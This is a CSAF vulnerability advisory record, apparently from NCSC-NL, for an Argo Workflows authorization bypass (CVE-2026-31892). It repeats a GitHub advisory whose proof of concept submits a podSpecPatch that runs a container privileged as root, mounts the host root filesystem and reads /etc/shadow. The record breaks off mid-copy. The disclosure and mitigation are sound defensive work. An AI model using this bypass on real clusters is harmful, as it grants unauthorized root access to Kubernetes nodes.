{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-31892",
        "tracking": {
            "current_release_date": "2026-03-25T19:24:20.077285Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-31892",
            "initial_release_date": "2026-03-11T16:28:15.144675Z",
            "revision_history": [
                {
                    "date": "2026-03-11T16:28:15.144675Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T16:28:19.135328Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-11T16:39:55.563362Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Products created (1).| References created (1).| CWES updated (1).| Unknown change."
                },
                {
                    "date": "2026-03-11T16:39:57.743509Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-11T20:00:44.593159Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T20:00:46.009499Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-12T14:57:29.553476Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-13T00:28:38.164006Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (13).| Product Identifiers created (1).| References created (3).| CWES updated (1).| Vendor_assessment created."
                },
                {
                    "date": "2026-03-13T00:28:47.230292Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-17T19:25:40.517596Z",
                    "number": "10",
                    "summary": "CVSS created.| Products created (2).| Product Identifiers created (2).| Exploits created (1)."
                },
                {
                    "date": "2026-03-17T19:25:45.145396Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:30:39.905511Z",
                    "number": "12",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:30:41.702298Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:32:20.387258Z",
                    "number": "14",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-25T18:05:40.756794Z",
                    "number": "15",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| Products connected (1).| References created (2)."
                },
                {
                    "date": "2026-03-25T18:05:43.153798Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:14:28.111163Z",
                    "number": "17",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (2)."
                },
                {
                    "date": "2026-03-25T18:14:29.162388Z",
                    "number": "18",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T19:24:18.342274Z",
                    "number": "19",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (3).| CWES updated (1)."
                }
            ],
            "status": "interim",
            "version": "19"
        }
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    "vulnerabilities": [
        {
            "cve": "CVE-2026-31892",
            "cwe": {
                "id": "CWE-863",
                "name": "Incorrect Authorization"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-31892"
                },
                {
                    "category": "description",
                    "text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-31892"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nA user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation.\n\n## Details\n\nThree issues combine to create this vulnerability:\n\n1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.\n\n2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`.\n\n3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present.\n\n## PoC\n\n### Prerequisites\n\nA local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/).\n\n#### 1. Create a kind cluster and install Argo Workflows\n\n```bash\nkind create cluster --name argo-poc\n\nkubectl create namespace argo\nkubectl apply -n argo --server-side \\\n  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml\n```\n\nNote: `--server-side` is required because some CRDs exceed the client-side annotation size limit.\n\nWait for the controller to be ready:\n\n```bash\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 2. Enable `templateReferencing: Strict`\n\nPatch the workflow controller configmap to enforce Strict mode:\n\n```bash\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p '{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}'\n```\n\nRestart the controller to pick up the new config:\n\n```bash\nkubectl rollout restart deployment workflow-controller -n argo\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 3. Verify Strict mode is active\n\nAttempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: strict-test-\nspec:\n  entrypoint: test\n  templates:\n  - name: test\n    container:\n      image: alpine\n      command: [echo, \"hello\"]\nEOF\n```\n\nThe Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:\n\n```bash\nSTRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)\nkubectl get -n argo \"$STRICT_WF\" -o jsonpath='{.status.phase} {.status.message}'\n```\n\nExpected output:\n\n```\nError workflows must use workflowTemplateRef to be executed when the controller is in reference mode\n```\n\n#### 4: Create a hardened WorkflowTemplate\n\nAn administrator creates a `WorkflowTemplate` with restrictive security settings:\n\n```bash\ncat <<'EOF' | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: secure-template\n  namespace: argo\n  annotations:\n    description: \"Admin-approved secure template with hardened security settings\"\nspec:\n  entrypoint: secure-task\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    fsGroup: 1000\n  templates:\n  - name: secure-task\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args:\n        - |\n          echo \"=== Security Context Check ===\"\n          echo \"Current UID: $(id -u)\"\n          echo \"Current GID: $(id -g)\"\n          if cat /etc/shadow 2>/dev/null; then\n            echo \"EXPLOITED: Can read /etc/shadow!\"\n          else\n            echo \"SECURE: Cannot read /etc/shadow\"\n          fi\n          if ls /host/etc/passwd 2>/dev/null; then\n            echo \"EXPLOITED: Host filesystem accessible!\"\n            cat /host/etc/passwd | head -5\n          else\n            echo \"SECURE: No host filesystem access\"\n          fi\n          if [ \"$(id -u)\" = \"0\" ]; then\n            echo \"EXPLOITED: Running as root!\"\n          else\n            echo \"SECURE: Running as non-root (UID: $(id -u))\"\n          fi\n          echo \"=== End Check ===\"\n      securityContext:\n        runAsNonRoot: true\n        runAsUser: 1000\n        allowPrivilegeEscalation: false\n        capabilities:\n          drop:\n            - ALL\nEOF\n```\n\n#### 5. Submit a legitimate Workflow (baseline)\n\nSubmit a Workflow that references the secure template without modification:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: legit-use-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nLEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$LEGIT_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $LEGIT_WF)\" -c main\n```\n\nExpected output (confirming the template's security settings are applied):\n\n```\n=== Security Context Check ===\nCurrent UID: 1000\nCurrent GID: 0\nSECURE: Cannot read /etc/shadow\nSECURE: No host filesystem access\nSECURE: Running as non-root (UID: 1000)\n=== End Check ===\n```\n\n#### 6. Submit the bypass Workflow\n\nSubmit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: bypass-security-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\n  podSpecPatch: |\n    hostPID: true\n    hostNetwork: true\n    containers:\n    - name: main\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsNonRoot: false\n        allowPrivilegeEscalation: true\n        capabilities:\n          add:\n            - ALL\n          drop: []\n      volumeMounts:\n      - name: host-root\n        mountPath: /host\n    volumes:\n    - name: host-root\n      hostPath:\n        path: /\n        type: Directory\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nBYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$BYPASS_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $BYPASS_WF)\" -c main\n```\n\nExpected output (all security settings bypassed):\n\n```\n=== Security Context Check ===\nCurrent UID: 0\nCurrent GID: 0\nroot:*::0:::::\nbin:!::0:::::\n[... /etc/shadow contents dumped ...]\nEXPLOITED: Can read /etc/shadow!\nEXPLOITED: Host filesystem accessible!\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n[... host /etc/passwd contents ...]\nEXPLOITED: Running as root!\n=== End Check ===\n```\n\nThe file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.\n\n## Impact\n\nThe purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature:\n\n> You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.\n\nA user who can submit Workflows referencing approved templates can use `podSpecPatch` to:\n\n- Run containers as root (`runAsUser: 0`)\n- Enable privileged mode (`privileged: true`)\n- Mount the host filesystem (`hostPath` volumes)\n- Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`)\n- Add all Linux capabilities (`capabilities.add: [\"ALL\"]`)\n\nThis effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`.\n\nThe `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149.\n\n## Mitigation\n\nWhen `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`.\n\nWithout the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.",
                    "title": "github - https://github.com/advisories/GHSA-3wf5-g532-rcrr"
                },
                {
                    "category": "description",
                    "text": "A flaw was found in Argo Workflows. A user with privileges to submit workflows can bypass security settings defined in a WorkflowTemplate by including a `podSpecPatch` field in their workflow submission. This allows them to circumvent restrictions, even when `templateReferencing: Strict` is configured, potentially leading to unauthorized resource access or privilege escalation.\nThis IMPORTANT vulnerability affects Red Hat OpenShift AI through its use of Argo Workflows. A user with low privileges can bypass WorkflowTemplate security controls by submitting workflows with a `podSpecPatch` field that overrides template definitions. The scope is changed as attackers can manipulate pod specifications beyond their intended access, resulting in high impact to confidentiality, integrity, and availability. Affects versions 2.9.0 through 4.0.1 and 3.7.10.",
                    "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-31892"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nA user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation.\n\n## Details\n\nThree issues combine to create this vulnerability:\n\n1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.\n\n2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`.\n\n3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present.\n\n## PoC\n\n### Prerequisites\n\nA local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/).\n\n#### 1. Create a kind cluster and install Argo Workflows\n\n```bash\nkind create cluster --name argo-poc\n\nkubectl create namespace argo\nkubectl apply -n argo --server-side \\\n  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml\n```\n\nNote: `--server-side` is required because some CRDs exceed the client-side annotation size limit.\n\nWait for the controller to be ready:\n\n```bash\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 2. Enable `templateReferencing: Strict`\n\nPatch the workflow controller configmap to enforce Strict mode:\n\n```bash\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p '{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}'\n```\n\nRestart the controller to pick up the new config:\n\n```bash\nkubectl rollout restart deployment workflow-controller -n argo\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 3. Verify Strict mode is active\n\nAttempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: strict-test-\nspec:\n  entrypoint: test\n  templates:\n  - name: test\n    container:\n      image: alpine\n      command: [echo, \"hello\"]\nEOF\n```\n\nThe Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:\n\n```bash\nSTRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)\nkubectl get -n argo \"$STRICT_WF\" -o jsonpath='{.status.phase} {.status.message}'\n```\n\nExpected output:\n\n```\nError workflows must use workflowTemplateRef to be executed when the controller is in reference mode\n```\n\n#### 4: Create a hardened WorkflowTemplate\n\nAn administrator creates a `WorkflowTemplate` with restrictive security settings:\n\n```bash\ncat <<'EOF' | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: secure-template\n  namespace: argo\n  annotations:\n    description: \"Admin-approved secure template with hardened security settings\"\nspec:\n  entrypoint: secure-task\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    fsGroup: 1000\n  templates:\n  - name: secure-task\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args:\n        - |\n          echo \"=== Security Context Check ===\"\n          echo \"Current UID: $(id -u)\"\n          echo \"Current GID: $(id -g)\"\n          if cat /etc/shadow 2>/dev/null; then\n            echo \"EXPLOITED: Can read /etc/shadow!\"\n          else\n            echo \"SECURE: Cannot read /etc/shadow\"\n          fi\n          if ls /host/etc/passwd 2>/dev/null; then\n            echo \"EXPLOITED: Host filesystem accessible!\"\n            cat /host/etc/passwd | head -5\n          else\n            echo \"SECURE: No host filesystem access\"\n          fi\n          if [ \"$(id -u)\" = \"0\" ]; then\n            echo \"EXPLOITED: Running as root!\"\n          else\n            echo \"SECURE: Running as non-root (UID: $(id -u))\"\n          fi\n          echo \"=== End Check ===\"\n      securityContext:\n        runAsNonRoot: true\n        runAsUser: 1000\n        allowPrivilegeEscalation: false\n        capabilities:\n          drop:\n            - ALL\nEOF\n```\n\n#### 5. Submit a legitimate Workflow (baseline)\n\nSubmit a Workflow that references the secure template without modification:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: legit-use-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nLEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$LEGIT_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $LEGIT_WF)\" -c main\n```\n\nExpected output (confirming the template's security settings are applied):\n\n```\n=== Security Context Check ===\nCurrent UID: 1000\nCurrent GID: 0\nSECURE: Cannot read /etc/shadow\nSECURE: No host filesystem access\nSECURE: Running as non-root (UID: 1000)\n=== End Check ===\n```\n\n#### 6. Submit the bypass Workflow\n\nSubmit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: bypass-security-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\n  podSpecPatch: |\n    hostPID: true\n    hostNetwork: true\n    containers:\n    - name: main\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsNonRoot: false\n        allowPrivilegeEscalation: true\n        capabilities:\n          add:\n            - ALL\n          drop: []\n      volumeMounts:\n      - name: host-root\n        mountPath: /host\n    volumes:\n    - name: host-root\n      hostPath:\n        path: /\n        type: Directory\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nBYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$BYPASS_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $BYPASS_WF)\" -c main\n```\n\nExpected output (all security settings bypassed):\n\n```\n=== Security Context Check ===\nCurrent UID: 0\nCurrent GID: 0\nroot:*::0:::::\nbin:!::0:::::\n[... /etc/shadow contents dumped ...]\nEXPLOITED: Can read /etc/shadow!\nEXPLOITED: Host filesystem accessible!\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n[... host /etc/passwd contents ...]\nEXPLOITED: Running as root!\n=== End Check ===\n```\n\nThe file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.\n\n## Impact\n\nThe purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature:\n\n> You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.\n\nA user who can submit Workflows referencing approved templates can use `podSpecPatch` to:\n\n- Run containers as root (`runAsUser: 0`)\n- Enable privileged mode (`privileged: true`)\n- Mount the host filesystem (`hostPath` volumes)\n- Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`)\n- Add all Linux capabilities (`capabilities.add: [\"ALL\"]`)\n\nThis effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`.\n\nThe `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149.\n\n## Mitigation\n\nWhen `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`.\n\nWithout the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.",
                    "title": "github - https://api.github.com/advisories/GHSA-3wf5-g532-rcrr"
                },
                {
                    "category": "description",
                    "text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Bitnami%2FBIT-argo-workflows-2026-31892.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode in github.com/argoproj/argo-workflows",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4681.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nA user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation.\n\n## Details\n\nThree issues combine to create this vulnerability:\n\n1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.\n\n2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`.\n\n3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present.\n\n## PoC\n\n### Prerequisites\n\nA local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/).\n\n#### 1. Create a kind cluster and install Argo Workflows\n\n```bash\nkind create cluster --name argo-poc\n\nkubectl create namespace argo\nkubectl apply -n argo --server-side \\\n  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml\n```\n\nNote: `--server-side` is required because some CRDs exceed the client-side annotation size limit.\n\nWait for the controller to be ready:\n\n```bash\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 2. Enable `templateReferencing: Strict`\n\nPatch the workflow controller configmap to enforce Strict mode:\n\n```bash\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p '{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}'\n```\n\nRestart the controller to pick up the new config:\n\n```bash\nkubectl rollout restart deployment workflow-controller -n argo\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 3. Verify Strict mode is active\n\nAttempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: strict-test-\nspec:\n  entrypoint: test\n  templates:\n  - name: test\n    container:\n      image: alpine\n      command: [echo, \"hello\"]\nEOF\n```\n\nThe Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:\n\n```bash\nSTRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)\nkubectl get -n argo \"$STRICT_WF\" -o jsonpath='{.status.phase} {.status.message}'\n```\n\nExpected output:\n\n```\nError workflows must use workflowTemplateRef to be executed when the controller is in reference mode\n```\n\n#### 4: Create a hardened WorkflowTemplate\n\nAn administrator creates a `WorkflowTemplate` with restrictive security settings:\n\n```bash\ncat <<'EOF' | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: secure-template\n  namespace: argo\n  annotations:\n    description: \"Admin-approved secure template with hardened security settings\"\nspec:\n  entrypoint: secure-task\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    fsGroup: 1000\n  templates:\n  - name: secure-task\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args:\n        - |\n          echo \"=== Security Context Check ===\"\n          echo \"Current UID: $(id -u)\"\n          echo \"Current GID: $(id -g)\"\n          if cat /etc/shadow 2>/dev/null; then\n            echo \"EXPLOITED: Can read /etc/shadow!\"\n          else\n            echo \"SECURE: Cannot read /etc/shadow\"\n          fi\n          if ls /host/etc/passwd 2>/dev/null; then\n            echo \"EXPLOITED: Host filesystem accessible!\"\n            cat /host/etc/passwd | head -5\n          else\n            echo \"SECURE: No host filesystem access\"\n          fi\n          if [ \"$(id -u)\" = \"0\" ]; then\n            echo \"EXPLOITED: Running as root!\"\n          else\n            echo \"SECURE: Running as non-root (UID: $(id -u))\"\n          fi\n          echo \"=== End Check ===\"\n      securityContext:\n        runAsNonRoot: true\n        runAsUser: 1000\n        allowPrivilegeEscalation: false\n        capabilities:\n          drop:\n            - ALL\nEOF\n```\n\n#### 5. Submit a legitimate Workflow (baseline)\n\nSubmit a Workflow that references the secure template without modification:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: legit-use-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nLEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$LEGIT_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $LEGIT_WF)\" -c main\n```\n\nExpected output (confirming the template's security settings are applied):\n\n```\n=== Security Context Check ===\nCurrent UID: 1000\nCurrent GID: 0\nSECURE: Cannot read /etc/shadow\nSECURE: No host filesystem access\nSECURE: Running as non-root (UID: 1000)\n=== End Check ===\n```\n\n#### 6. Submit the bypass Workflow\n\nSubmit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: 